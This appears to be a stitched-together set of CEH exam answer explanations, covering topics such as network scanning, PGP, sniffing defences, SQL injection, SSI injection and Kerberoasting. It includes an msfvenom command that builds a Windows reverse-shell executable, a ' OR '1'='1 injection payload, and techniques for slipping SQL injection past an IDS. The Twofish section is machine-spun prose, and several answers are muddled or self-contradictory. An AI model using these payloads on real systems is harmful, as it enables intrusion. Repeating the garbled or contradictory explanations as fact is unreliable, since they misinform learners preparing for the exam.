The operating system's response behavior

Entry points for possible exploitation

Banner grabbing involves connecting to open services to retrieve application-level information. This can expose:

Software version numbers

Server type and configuration

Security misconfigurations

Service identification allows the security professional to determine what protocols and services (HTTP, FTP, SSH, etc.) are active and how they are configured. This supports:

Vulnerability analysis

Risk evaluation

Threat modeling

These combined techniques are fundamental steps in the reconnaissance and scanning phases of the ethical hacking lifecycle.

Incorrect Options:

A. Phishing, spamming, sending trojans are offensive tactics used in attacks; they provide limited direct system analysis and do not measure technical posture directly.

B. Social engineering, site browsing, and tailgating are physical or psychological attack vectors, not direct technical assessments.

C. Wardriving and warchalking identify wireless networks but offer limited detail about internal system configurations or vulnerabilities.

Reference – CEH v13 Official Study Material:

Module 03: Scanning Networks

Section: “Types of Scanning”

Subsections: “Port Scanning,” “Banner Grabbing,” and “Service Version Detection”

CEH Engage: Scanning and Enumeration labs

CEH Official Exam Blueprint: Knowledge Area — “Footprinting and Reconnaissance” and “Scanning Networks”

These techniques are emphasized as foundational components in any network vulnerability assessment.

In CEH v13 Module 02: Footprinting and Reconnaissance, the OSINT Framework is introduced as a collection of free, open-source tools and resources to aid ethical hackers in passive reconnaissance.

Key Features of OSINT Framework:

Web-based visual tool that maps out links to open-source intelligence tools.

Allows collection of emails, domains, usernames, IPs, social media data, and more.

Focuses on passive footprinting to avoid detection.

Option Clarification:

A. WebSploit Framework: Used for man-in-the-middle attacks and web vulnerabilities.

B. Browser Exploitation Framework (BeEF): Browser-focused attack tool.

C. OSINT Framework: Correct — open-source intelligence and reconnaissance.

D. SpeedPhish Framework: Phishing simulation tool, not used for passive information gathering.

When a user encrypts plaintext with PGP, PGP first compresses the plaintext. The session key works with a very secure, fast conventional encryption algorithm to encrypt the plaintext; the result is ciphertext. Once the data is encrypted, the session key is then encrypted to the recipient's public key

Pretty Good Privacy (PGP) is an encryption program that provides cryptographic privacy and authentication for data communication. PGP is used for signing, encrypting, and decrypting texts, e-mails, files, directories, and whole disk partitions and to increase the security of e-mail communications.

PGP encryption uses a serial combination of hashing, data compression, symmetric-key cryptography, and finally public-key cryptography; each step uses one of several supported algorithms. Each public key is bound to a username or an e-mail address.

Public key encryption uses two different keys. One key is used to encrypt the information and the other is used to decrypt the information. Sometimes this is referred to as asymmetric encryption because two keys are required to make the system and/or process work securely. One key is known as the public key and should be shared by the owner with anyone who will be securely communicating with the key owner. However, the owner’s secret key is not to be shared and considered a private key. If the private key is shared with unauthorized recipients, the encryption mechanisms protecting the information must be considered compromised.

Key observations in the packet capture:

Repeated 0x90 values indicate a NOP sled (No Operation instructions), commonly used in buffer overflow payloads to guide execution to the malicious shellcode.

The presence of "/bin/sh" in ASCII indicates that the attacker intends to launch a shell (command-line access) on the victim’s system once the overflow is successful.

The payload likely contains shellcode that spawns a shell, giving the attacker command-line access.

From CEH v13 Official Courseware:

Module 6: Malware Threats

Module 9: Denial-of-Service

Module 5: Vulnerability Analysis

CEH v13 Study Guide states:

“A buffer overflow exploit typically involves injecting a NOP sled followed by shellcode. The string '/bin/sh' is a tell-tale sign of shell-spawning code that aims to give the attacker command access.”

Incorrect Options:

A: There's no evidence the IDS blocked the attack—only that it logged it.

B: Creating a directory would not involve a NOP sled or spawn a shell.

C: We cannot confirm success; only the intent and method are clear.

As we can see, we have an IP address of 10.1.4.0 with a subnet mask of /23. According to the question, we need to determine which IP address will be included in the range of the last 100 IP addresses.

The available addresses for hosts start with 10.1.4.1 and end with 10.1.5.254. Now you can clearly see that the last 100 addresses include the address 10.1.5.200.

Lock-in reflects the inability of the client to migrate from one CSP to another or in-house systems owing to the lack of tools, procedures, standard data formats, applications, and service portability. This threat is related to the inappropriate selection of a CSP, incomplete and non-transparent terms of use, lack of standard mechanisms, etc. (P.2884/2868)

Sniffing attacks are a type of network attack that involves intercepting and analyzing data packets as they travel over a network. Sniffing attacks can be used to steal sensitive information, such as usernames, passwords, credit card numbers, etc. Sniffing attacks can also be used to perform reconnaissance, spoofing, or man-in-the-middle attacks.

The IT department of the company has implemented some security measures to prevent or mitigate sniffing attacks, such as:

Adding the MAC address of the gateway to the ARP cache: This prevents ARP spoofing, which is a technique that allows an attacker to redirect network traffic to their own device by sending fake ARP messages that associate their MAC address with the IP address of the gateway.

Switching to IPv6 instead of IPv4: This reduces the risk of IP spoofing, which is a technique that allows an attacker to send packets with a forged source IP address, pretending to be another device on the network.

Using encrypted sessions such as SSH instead of Telnet, and Secure File Transfer Protocol instead of FTP: This protects the data from being read or modified by an attacker who can capture the packets, as the data is encrypted and authenticated using cryptographic protocols.

However, these measures are not enough to completely eliminate the threat of sniffing, as an attacker can still use other techniques, such as:

Passive sniffing: This involves monitoring the network traffic without injecting any packets or altering the data. Passive sniffing can be done on a shared network, such as a hub, or on a switched network, using techniques such as MAC flooding, port mirroring, or VLAN hopping.

Active sniffing: This involves injecting packets or modifying the data to manipulate the network behavior or gain access to more traffic. Active sniffing can be done using techniques such as DHCP spoofing, DNS poisoning, ICMP redirection, or TCP session hijacking.

Therefore, the next step to enhance network security is to implement network scanning and monitoring tools, which can help detect and prevent sniffing attacks by:

Scanning the network for unauthorized devices, such as rogue access points, hubs, or sniffers, and removing them or isolating them from the network.

Monitoring the network for abnormal traffic patterns, such as excessive ARP requests, DNS queries, ICMP messages, or TCP connections, and alerting the network administrators or blocking the suspicious sources.

Analyzing the network traffic for malicious content, such as malware, phishing, or exfiltration, and filtering or quarantining the infected or compromised devices.

A counter-based authentication system is based on the HOTP (HMAC-Based One-Time Password) algorithm. It uses a shared secret and a moving counter to generate a one-time password (OTP). Each time the counter is incremented, a new OTP is generated and encrypted using the secret key.

Reference – CEH v13 Official Study Guide:

Module 5: System Hacking

Quote:

“HOTP generates a one-time password using a counter value and a secret key. This is a form of two-factor authentication, and the passwords are encrypted.”

Incorrect Options Explained:

A & B. These describe biometric systems, not counter-based OTPs.

D. Virtual passwords from passphrases are not counter-based systems.

===========

Passive Assessment Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities. Passive assessments also provide a list of the users who are currently accessing the network.

From CEH v13 Module 03: Scanning Networks, OS fingerprinting with Nmap (using the -O option) requires privileged access to craft raw packets (especially SYN, ACK, and ICMP). On Unix/Linux systems:

Root privileges are mandatory to perform TCP/IP stack fingerprinting.

If Nmap is run as a normal user, it fails to initiate OS scanning and exits with a message like “QUITTING!”.

So, in this case, the scan fails because the shell opened does not have elevated (root) privileges.

ESP (Encapsulating Security Payload) in transport mode is used for end-to-end communication between hosts within the same LAN. It encrypts only the payload, not the header, ensuring confidentiality and integrity while maintaining efficient routing.

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Quote:

“In ESP transport mode, only the data payload is encrypted, making it ideal for secure communication within a LAN where the IP header must remain intact for routing.”

Incorrect Options Explained:

B & C. Not valid IPSec modes.

D. AH tunnel mode ensures integrity but does not provide encryption.

===========

CEH defines spyware as malware designed to covertly observe user behavior and transmit sensitive information to attackers without the victim’s knowledge. Spyware commonly records keystrokes, browser activity, form submissions, application usage, and other personally identifiable information. CEH highlights that spyware often operates silently and may disguise itself as legitimate software, making detection difficult. Unlike rootkits—which hide processes and files—or worms that self-replicate, spyware focuses exclusively on monitoring and data exfiltration. It is frequently installed through phishing, drive-by downloads, browser vulnerabilities, or malicious installers. Spyware can serve as a stepping stone for further system compromise by providing attackers with credentials for privilege escalation, lateral movement, or financial theft. CEH emphasizes the need for endpoint hardening, updated anti-malware engines, and behavioral analysis tools to detect such stealthy monitoring programs.

Vulnerability scanning solutions perform vulnerability penetration tests on the organizational network in three steps:

1. Locating nodes: The first step in vulnerability scanning is to locate live hosts in the target network using various scanning techniques.

2. Performing service and OS discovery on them: After detecting the live hosts in the target network, the next step is to enumerate the open ports and services and the operating system on the target systems.

3. Testing those services and OS for known vulnerabilities: Finally, after identifying the open services and the operating system running on the target nodes, they are tested for known vulnerabilities.

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

flags –source-port and -g are equivalent and instruct nmap to send packets through a selected port. this option is used to try to cheat firewalls whitelisting traffic from specific ports. the following example can scan the target from the port twenty to ports eighty, 22, 21,23 and 25 sending fragmented packets to LinuxHint.

CEH teaches that unrestricted file upload vulnerabilities are among the most dangerous in web applications because they allow attackers to bypass extension checks and upload malicious executable files. When the server fails to validate MIME types, file extensions, or execution permissions, an attacker can upload a web shell disguised as a harmless file, such as “image.php.jpg,” which may pass superficial validation and still be executed by the server’s interpreter. Once executed, the shell provides the attacker with command execution capabilities, allowing full control over the system. CEH emphasizes that web shells can enable privilege escalation, database compromise, lateral movement, or full server takeover. Unlike SQL injection or XSS, file upload exploitation directly affects server-side execution, making it significantly more severe. Unrestricted upload flaws are commonly tested in CEH labs with tools like Burp Suite to alter content-type headers or bypass client-side filters. This is a high-impact vulnerability requiring strict validation and sandboxing controls.

A Stealth or Tunneling Virus is designed specifically to evade detection by antivirus software and system monitoring tools. These viruses work by intercepting and modifying the operating system’s service call interrupts (such as INT 13h and INT 21h in DOS systems), which are used to access files or system services.

By hooking into these interrupts, the virus can return clean or forged data to antivirus scanners, thus hiding its malicious presence from detection tools.

Tunneling viruses may also operate at a lower level to evade even more advanced antivirus detection methods, making them particularly dangerous and hard to detect.

Reference – CEH v13 Official Study Guide:

Module 6: Malware Threats

Section: Types of Viruses

Quote:

“Tunneling viruses attempt to avoid detection by antivirus programs by installing themselves in the interrupt handler chain. These viruses intercept operating system calls to conceal their activities.”

Incorrect Options Explained:

A. Macro viruses target applications like Microsoft Word/Excel and use embedded macros, but do not alter service call interrupts.

C. Cavity viruses insert code into empty spaces in files without changing the file size but do not modify interrupts.

D. Polymorphic viruses mutate their code to avoid signature-based detection but do not typically interfere with system interrupts directly.

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. In this issue, we consider the non-persistent cross-site scripting vulnerability.

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability. These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the content.

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.

A vulnerability assessment is a systematic review of security weaknesses in an information system. It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed1. A vulnerability assessment can be performed using various tools and techniques, depending on the scope and objectives of the assessment.

Considering the potential vulnerability sources, the best initial approach to vulnerability assessment is to check for hardware and software misconfigurations to identify any possible loopholes. Hardware and software misconfigurations are common sources of vulnerabilities that can expose the system to unauthorized access, data breaches, or service disruptions. Hardware and software misconfigurations can include:

Insecure default settings, such as weak passwords, open ports, unnecessary services, or verbose error messages.

Improper access control policies, such as granting excessive privileges, allowing anonymous access, or failing to revoke access for terminated users.

Lack of encryption or authentication mechanisms, such as using plain text protocols, storing sensitive data in clear text, or transmitting data without verifying the identity of the sender or receiver.

Outdated or incompatible software versions, such as using unsupported or deprecated software, failing to apply security patches, or having software conflicts or dependencies.

Checking for hardware and software misconfigurations can help identify any possible loopholes that could be exploited by attackers to compromise the system or the data. Checking for hardware and software misconfigurations can be done using various tools, such as:

Configuration management tools, such as Ansible, Puppet, or Chef, that can automate the deployment and maintenance of consistent and secure configurations across the system.

Configuration auditing tools, such as Nipper, Lynis, or OpenSCAP, that can scan the system for deviations from the desired or expected configurations and report any issues or vulnerabilities.

Configuration testing tools, such as Inspec, Serverspec, or Testinfra, that can verify the system’s compliance with the specified configuration rules and standards.

Therefore, checking for hardware and software misconfigurations is the best initial approach to vulnerability assessment, as it can help identify and eliminate any possible loopholes that could pose a security risk to the system or the data.

The scenario describes an injection attack involving Server Side Includes (SSI). SSI directives are instructions placed in web pages that are executed by the web server before the page is sent to the user. If user input is improperly validated and directly used in an SSI-enabled environment, attackers can inject malicious SSI directives (such as file manipulation commands).

From CEH v13 Official Courseware:

Server-Side Includes (SSI) Injection occurs when attackers submit specially crafted input that is included in server responses and interpreted as SSI directives.

These directives can perform dangerous actions like:

Reading sensitive files (e.g., /etc/passwd)

Deleting or modifying files

Running shell commands via #exec directive

Incorrect options:

A. Server-side template injection is related to template engines like Jinja2 or Twig.

B. Server-side JS injection applies to environments like Node.js.

C. CRLF injection manipulates HTTP headers, not SSI parsing.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: “Injection Flaws”

Subsection: “SSI Injection”

Lab Reference: CEH iLabs – Web Application Exploitation

===========

Probing the IPC share by attempting to brute force admin credentials is the most appropriate technique for this scenario, because it can reveal valuable information about the target system, such as its operating system, services, users, groups, and shares. An IPC share is a special share that allows processes to communicate with each other over the network using named pipes. An IPC share can be accessed anonymously or with valid credentials, depending on the security configuration of the target system. A brute force attack is a method of trying different combinations of usernames and passwords until a valid pair is found. By using a brute force attack, the tester can try to access the IPC share with admin credentials, which can grant them more privileges and access to more resources on the target system.

The other options are less suitable or effective techniques for this scenario. Brute forcing Active Directory may not be relevant or feasible, as the target system may not be part of a domain or may have strong password policies. Extracting usernames using email IDs may not provide enough information or access to the target system, as email IDs may not match the usernames or passwords. Conducting a DNS zone transfer may not be possible or useful, as the target system may not be a DNS server or may have restricted zone transfers. A DNS zone transfer is a method of obtaining information about the domain names and IP addresses of the hosts in a network by querying a DNS server. References:

Inter-process communication - Wikipedia

IPC$ share and null session behavior - Windows Server

Brute Force Attack: Definition, Examples, and Prevention

DNS Zone Transfer: Definition, Types, and Examples

A digital signature is created by hashing the document and encrypting that hash with the sender’s private key. Since the hash is specific to the original content, any change to the document invalidates the signature, making it non-transferable to another document.

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Quote:

“Digital signatures are based on hashing the document and signing the digest with the private key. This makes each signature unique to the document and ensures tamper resistance.”

Incorrect Options:

B. Incorrect — signature is tied to one document.

C. Hashes are not plain; they are encrypted.

D. Keys can be reused, but signatures are document-specific.

A brute-force attack is the most exhaustive password-cracking method. It tries every possible combination of characters (letters, numbers, and symbols) until the correct password is found.

From CEH v13 Courseware:

Module 6: Password Cracking Techniques

CEH v13 Study Guide states:

“Brute-force attacks try every possible combination until the correct password is discovered. It’s resource-intensive but guarantees success if enough time and processing power is available.”

Incorrect Options:

B: Refers to social engineering or coercion.

C: Describes a dictionary attack.

D: Refers to a rainbow table attack.

E: Not a cracking method.

The most effective evasion technique to bypass the IDS signature detection while performing a SQL Injection attack is to leverage string concatenation to break identifiable keywords. This technique involves splitting SQL keywords or operators into smaller parts and joining them with string concatenation operators, such as ‘+’ or ‘||’. This way, the SQL query can still be executed by the database engine, but the IDS cannot recognize the keywords or operators as malicious, as they are hidden within strings. For example, the hacker could replace the keyword ‘OR’ with ‘O’||‘R’ or ‘O’+‘R’ in the SQL query, and the IDS would not be able to match the signature of a typical SQL injection pattern12.

The other options are not as effective as option D for the following reasons:

A. Implement case variation by altering the case of SQL statements: This option is not effective because most SQL engines and IDS systems are case-insensitive, meaning that they treat SQL keywords and operators the same regardless of their case. Therefore, altering the case of SQL statements would not help evade the IDS signature detection, as the IDS would still be able to match the signature of a typical SQL injection pattern3.

B. Employ IP fragmentation to obscure the attack payload: This option is not applicable because IP fragmentation is a network-level technique that splits IP packets into smaller fragments to fit the maximum transmission unit (MTU) of the network. IP fragmentation does not affect the content or structure of the SQL query, and it does not help evade the IDS signature detection, as the IDS would still be able to reassemble the fragments and match the signature of a typical SQL injection pattern4.

C. Use Hex encoding to represent the SQL query string: This option is not feasible because Hex encoding is a method of representing binary data in hexadecimal format, such as ‘0x41’ for ‘A’. Hex encoding does not work for SQL queries, as the SQL engine would not be able to interpret the hexadecimal values as valid SQL syntax. Moreover, Hex encoding would not help evade the IDS signature detection, as the IDS would still be able to decode the hexadecimal values and match the signature of a typical SQL injection pattern.

Risk assessment is a key process in security management that identifies, evaluates, and prioritizes risks to organizational operations and assets. It considers various controls and safeguards to mitigate those risks.

Administrative safeguards are part of the components used in risk assessments and include:

Policies

Procedures

Training

Security awareness programs

Incident response planning

From CEH v13:

Module 1: Introduction to Ethical Hacking

Module 20: Cryptography (as it discusses risk management and governance)

Topic: Security Controls and Risk Management Frameworks

CEH v13 Official Courseware states:

“Administrative controls, also known as administrative safeguards, form a critical component of risk assessments. These include documented security policies, user training, security audits, and incident response plans that help an organization manage and reduce risks.”

Incorrect Options:

B. Physical security is a type of safeguard but not typically referred to as a "component" of a risk assessment itself.

C. DMZ (Demilitarized Zone) is a network architecture concept, not a risk assessment component.

D. Logical interface refers to system architecture and network segmentation—not risk assessment methodology.

In CEH v13 Module 03: Scanning Networks, under the Nmap Host Discovery Techniques, TCP SYN ping scan is explained as one of the methods used to determine whether a host is online by sending SYN packets to specified TCP ports.

When using Nmap:

-PS specifies a TCP SYN ping scan. It sends SYN packets to a given port (by default port 80, unless specified) to check whether a host is up and whether the port is open.

The response type to this SYN packet determines the host status:

If a SYN/ACK is received, it indicates the port is open, and the host is up.

If RST is received, the port is closed, but the host is still considered online.

If no response or ICMP unreachable is received, the host may be down or filtered.

Clarification of options:

A. -pp: This is not a valid Nmap option.

B. -PO: This sends IP Protocol Ping, used less frequently and not the same as SYN ping.

C. -PS: Correct. Performs a TCP SYN Ping Scan.

D. -PA: Sends TCP ACK Ping, used to determine firewall presence but not the same as SYN scan.

Reference from CEH v13 Study Guide and Course Material:

CEH v13 Official Module 03 – Scanning Networks, Slide: Nmap Host Discovery Techniques

EC-Council iLabs - Scanning Networks Practical Lab Guide: Section on nmap -sn -PS

Nmap Official Documentation (also referenced in CEH):

Sending an email to a known non-existent user is a reconnaissance technique used to:

Analyze bounce-back (NDR) messages.

Discover the email server’s operating system, filtering behavior, internal mail routing, and directory structure.

Reveal technologies such as Exchange, Postfix, etc.

From CEH v13 Official Courseware:

Module 2: Footprinting and Reconnaissance

CEH v13 Study Guide states:

“Sending a message to an invalid address can reveal error messages or NDRs that leak internal system details, such as mail server versions, spam filtering technologies, and internal naming conventions.”

Incorrect Options:

A: Not applicable.

B/C: Not the purpose here.

E: Anti-virus testing requires a separate controlled method.

Zero Trust Networks The Zero Trust model is a security implementation that by default assumes every user trying to access the network is not a trusted entity and verifies every incoming connection before allowing access to the network.It strictly follows the principle, “Trust no one and validate before providing a cloud service or granting access permission.”It also allows companies to impose conditions, such as allowing employees to only access the appropriate resources required for their work role. (P.2997/2981)

Zero Trust is a strategic initiative that helps prevent successful data breaches by eliminating the concept of trust from an organization’s network architecture. Rooted in the principle of “never trust, always verify,” Zero Trust is designed to protect modern digital environments by leveraging network segmentation, preventing lateral movement, providing Layer 7 threat prevention, and simplifying granular user-access control.

According to CEH v13 Module 08: Sniffing, the attack described is a classic example of ARP spoofing/poisoning which leads to Man-in-the-Middle (MITM) scenarios. In such attacks, a malicious actor sends forged ARP responses to associate their MAC address with the IP address of a target system, redirecting traffic through their machine.

Tool Used: BetterCAP

BetterCAP is a powerful, modular MITM framework.

It can:

Perform ARP spoofing

Intercept and manipulate HTTP/HTTPS traffic

Modify packets in real-time

Carry out credential harvesting and session hijacking

Miley's actions match the default behavior of BetterCAP during an ARP spoofing attack:

Spoof ARP to redirect traffic.

Intercept and analyze (or manipulate) traffic.

Option Clarification:

A. Gobbler: An older ARP tool, but mostly for ARP scanning, not modern MITM attacks.

B. KDerpNSpoof: Incorrect or misspelled; not a recognized CEH tool.

C. BetterCAP: Correct – used for ARP spoofing and traffic manipulation.

D. Wireshark: Passive sniffer; cannot perform ARP spoofing or MITM.

This phase having the hacker uses different techniques and tools to realize maximum data from the system. they’re –

• Password cracking – Methods like Bruteforce, dictionary attack, rule-based attack, rainbow table are used. Bruteforce is trying all combinations of the password. Dictionary attack is trying an inventory of meaningful words until the password matches. Rainbow table takes the hash value of the password and compares with pre-computed hash values until a match is discovered.

• Password attacks – Passive attacks like wire sniffing, replay attack. Active online attack like Trojans, keyloggers, hash injection, phishing. Offline attacks like pre-computed hash, distributed network and rainbow. Non electronic attack like shoulder surfing, social engineering and dumpster diving.

In CEH v13 Module 10 & 12: Vulnerability Analysis and Web Hacking, Netsparker is introduced as a leading automated web vulnerability scanner capable of detecting:

SQL Injection

Cross-site Scripting (XSS)

Local File Inclusion (LFI)

Misconfigured services

Authentication issues

It performs:

Crawling, attack simulation, and detailed reporting.

Ideal for automated assessment of web servers and applications.

Option Clarification:

A. Infoga: Email information gathering tool.

B. WebCopier Pro: Used for offline website downloading.

C. Netsparker: Purpose-built web vulnerability scanner.

D. NCollector Studio: Website archiving tool, not vulnerability-focused.

Comprehensive and Detailed Explanation:

The correct nslookup syntax to perform a zone transfer is:

ls -d domain_name

So, from the nslookup prompt:

server 192.168.10.2

ls -d abccorp.local

This will attempt to list all DNS records for the abccorp.local domain from the specified server, if zone transfers are permitted.

From CEH v13 Courseware:

Module 4: Enumeration → DNS Zone Transfers

A Kerberoasting attack is a technique that exploits the Kerberos authentication protocol to obtain the password hash of a service account that has a Service Principal Name (SPN). An attacker can request a service ticket (TGS) for the SPN using a valid user’s ticket (TGT) and then attempt to crack the password hash offline. To prevent the attacker from using the TGS to access the service, the system administrator should invalidate the TGS as soon as possible. This can be done by changing the password of the service account, which will generate a new password hash and render the old TGS useless. Alternatively, the system administrator can use tools like Mimikatz to purge the TGS from the memory of the domain controller or the client system. Performing a system reboot, deleting the compromised user’s account, or changing the NTLM password hash used to encrypt the ST are not effective ways to invalidate the TGS, as they do not affect the encryption of the TGS or the validity of the TGT. References:

EC-Council CEHv12 Courseware Module 11: Hacking Webservers, page 11-24

What is a Kerberoasting Attack? – CrowdStrike

How to Perform Kerberoasting Attacks: The Ultimate Guide - StationX

In CEH’s web application and mobile security modules, improper session management is defined as a failure to enforce session expiration, token invalidation, or secure session lifecycle controls. When an application does not invalidate a session token after logout, attackers can exploit this by performing a replay attack: reusing previously captured session identifiers to impersonate the user and gain unauthorized access. CEH teaches that replaying a live token is the simplest and most direct exploitation method because it does not require guessing or stealing new tokens—the attacker simply reuses a valid one that should have been invalidated. CSRF relies on exploiting a user’s active session and is not required when the attacker already possesses a reusable token. Brute-forcing session tokens is computationally expensive and unnecessary. SQL injection is unrelated to session lifecycle flaws unless token storage is directly exposed. Therefore, a replay attack is the correct exploitation method.

CEH describes SQL injection testing as a core part of web application assessment. One of the first and safest validation techniques is using a tautology-based SQL injection payload, such as ' OR '1'='1. If the application concatenates user input directly into SQL queries, such an input will cause the query to always evaluate as true, often returning additional records such as multiple user profiles. This confirms the presence of SQL injection without causing destructive effects like dropping tables. Testing XSS does not validate SQL injection, brute-forcing credentials is unrelated, and directory traversal attacks target file path manipulation rather than backend queries. CEH emphasizes avoiding destructive queries and starting with non-intrusive injection payloads that reveal improper input sanitization, making ' OR '1'='1 the correct technique for confirming SQL injection vulnerabilities in URL parameters.

According to CEH v13 Module 03: Scanning Networks, when using Nmap for service enumeration and fingerprinting, the flag to determine service version and type information is:

-sV — Version Detection Scan

nmap -sV instructs Nmap to actively connect to open ports and probe the services running on those ports. This technique helps identify:

The service name (e.g., Apache, Nginx, etc.)

The version number (e.g., Apache 2.4.54)

The OS or device details (when possible)

This is especially useful when ports like 80 (HTTP) and 443 (HTTPS) are open, as it helps determine which web server is running (e.g., Apache, IIS, Nginx) and its version — which is critical for vulnerability assessment.

Why Other Options Are Incorrect:

A. -sv

❌ Incorrect syntax. Nmap flags are case-sensitive and this is a typo. Correct flag is -sV.

B. -Pn

Skips host discovery (ping scan). It does not provide service version info.

C. -V

Displays Nmap’s version, not the service version on the target.

D. -ss

Incorrect spelling. You may have meant -sS (TCP SYN scan), which is for port scanning, not version detection.

Correct Option is A, assuming the intent is to write the correct syntax as -sV. However, strictly speaking, if this is a case-sensitive exam, and the listed option is -sv (lowercase 'v'), it would be invalid. But based on CEH exam context where minor casing issues are accepted if conceptually correct, A is the best answer.

Reference from CEH v13 Study Guide and Courseware:

Module 03 – Scanning Networks, Section: Nmap Scan Types and Options

EC-Council iLabs: Performing Version Detection Using nmap -sV

Nmap Official Docs (Referenced in CEH):

-h | findstr " -sV" -sV: Probe open ports to determine service/version info

A covert channel is a communication method used to transfer information in a way that violates security policy, often by repurposing legitimate protocols or functions for unauthorized communication.

From CEH v13 Official Courseware:

Module 6: Malware Threats

Topic: Covert Communication and Data Exfiltration Techniques

CEH v13 Study Guide states:

“A covert channel exploits unintended uses of legitimate communication protocols. It allows data to be transmitted without detection by hiding the communication inside seemingly benign traffic.”

Incorrect Options:

A: A non-standard port may aid in hiding services, but doesn’t constitute a covert channel.

C: Multiplexing is a normal communication mechanism.

D: WEP is insecure, but this isn’t related to covert channels.

Since this question refers specifically to analyzing a wireless network, it is obvious that we need an option with AirPcap (Riverbed AirPcap USB-based adapters capture 802.11 wireless traffic for analysis). Since it works with two traffic analyzers SteelCentral Packet Analyzer (Cascade Pilot) or Wireshark, the correct option would be "Wireshark with Airpcap."

NOTE: AirPcap adapters no longer available for sale effective January 1, 2018, but a question on this topic may occur on your exam.

===========

Twofish is an encryption algorithm designed by Bruce Schneier. It’s a symmetric key block cipher with a block size of 128 bits, with keys up to 256 bits. it’s associated with AES (Advanced Encryption Standard) and an earlier block cipher called Blowfish. Twofish was actually a finalist to become the industry standard for encryption, but was ultimately beaten out by the present AES.

Twofish has some distinctive features that set it aside from most other cryptographic protocols. For one, it uses pre-computed, key-dependent S-boxes. An S-box (substitution-box) may be a basic component of any symmetric key algorithm which performs substitution. within the context of Twofish’s block cipher, the S-box works to obscure the connection of the key to the ciphertext. Twofish uses a pre-computed, key-dependent S-box which suggests that the S-box is already provided, but depends on the cipher key to decrypt the knowledge .

How Secure is Twofish?

Twofish is seen as a really secure option as far as encryption protocols go. one among the explanations that it wasn’t selected because the advanced encryption standard is thanks to its slower speed. Any encryption standard that uses a 128-bit or higher key, is theoretically safe from brute force attacks. Twofish is during this category.

Because Twofish uses “pre-computed key-dependent S-boxes”, it are often susceptible to side channel attacks. this is often thanks to the tables being pre-computed. However, making these tables key-dependent helps mitigate that risk. There are a couple of attacks on Twofish, but consistent with its creator, Bruce Schneier, it didn’t constitute a real cryptanalysis. These attacks didn’t constitue a practical break within the cipher.

Products That Use Twofish

GnuPG: GnuPG may be a complete and free implementation of the OpenPGP standard as defined by RFC4880 (also referred to as PGP). GnuPG allows you to encrypt and sign your data and communications; it features a flexible key management system, along side access modules for all types of public key directories.

KeePass: KeePass may be a password management tool that generates passwords with top-notch security. It’s a free, open source, lightweight and easy-to-use password manager with many extensions and plugins.

Password Safe: Password Safe uses one master password to stay all of your passwords protected, almost like the functionality of most of the password managers on this list. It allows you to store all of your passwords during a single password database, or multiple databases for various purposes. Creating a database is straightforward , just create the database, set your master password.

PGP (Pretty Good Privacy): PGP is employed mostly for email encryption, it encrypts the content of the e-mail . However, Pretty Good Privacy doesn’t encrypt the topic and sender of the e-mail , so make certain to never put sensitive information in these fields when using PGP.

TrueCrypt: TrueCrypt may be a software program that encrypts and protects files on your devices. With TrueCrypt the encryption is transparent to the user and is completed locally at the user’s computer. this suggests you’ll store a TrueCrypt file on a server and TrueCrypt will encrypt that file before it’s sent over the network.

According to CEH v13 Module 09: Social Engineering, Whaling is a specific type of phishing attack that targets senior executives and high-value individuals.

It’s called “whaling” because these individuals are the “big fish.”

Attacks are highly targeted and customized, often using knowledge of the executive’s company, responsibilities, or communication style.

The goal is to gain access to sensitive systems, financial assets, or confidential data.

Option Breakdown:

A. Spear phishing: Targeted phishing but not necessarily aimed at high-profile executives.

B. Whaling: Correct – phishing directed at C-level or VIP targets.

C. Vishing: Voice phishing – conducted over telephone/VoIP.

D. Phishing: General term – broader category.

Encrypting all sensitive data stored on the device is the best measure to ensure the security of this data, because it protects the data from unauthorized access or disclosure, even if the device is lost, stolen, or compromised. Encryption is a process of transforming data into an unreadable format using a secret key or algorithm. Only authorized parties who have the correct key or algorithm can decrypt and access the data. Encryption can be applied to data at rest, such as files or databases, or data in transit, such as network traffic or messages. Encryption can prevent attackers from stealing or tampering with the customer data stored on the device, such as credit card details and PINs, which can cause financial or identity fraud.

The other options are not as effective or sufficient as encryption for securing the customer data stored on the device. Implementing biometric authentication for app access may provide an additional layer of security, but it does not protect the data from being accessed by other means, such as malware, physical access, or backup extraction. Enabling GPS tracking for all devices using the app may help locate the device in case of loss or theft, but it does not prevent the data from being accessed by unauthorized parties, and it may also pose privacy risks. Regularly updating the app to the latest version may help fix bugs or vulnerabilities, but it does not guarantee the security of the data, especially if the app does not use encryption or other security features. 

The hacker could have used the technique of manipulating white spaces in SQL queries to bypass signature detection. This technique involves inserting, removing, or replacing white spaces in SQL queries with other characters or symbols that are either ignored or interpreted as white spaces by the SQL engine, but not by the signature-based IDS. This way, the hacker can alter the appearance of the query and evade the pattern matching of the IDS, while preserving the functionality and logic of the query. For example, the hacker could replace the space character with a tab character, a newline character, a comment symbol, or a URL-encoded value, such as %2012.

The other options are not correct for the following reasons:

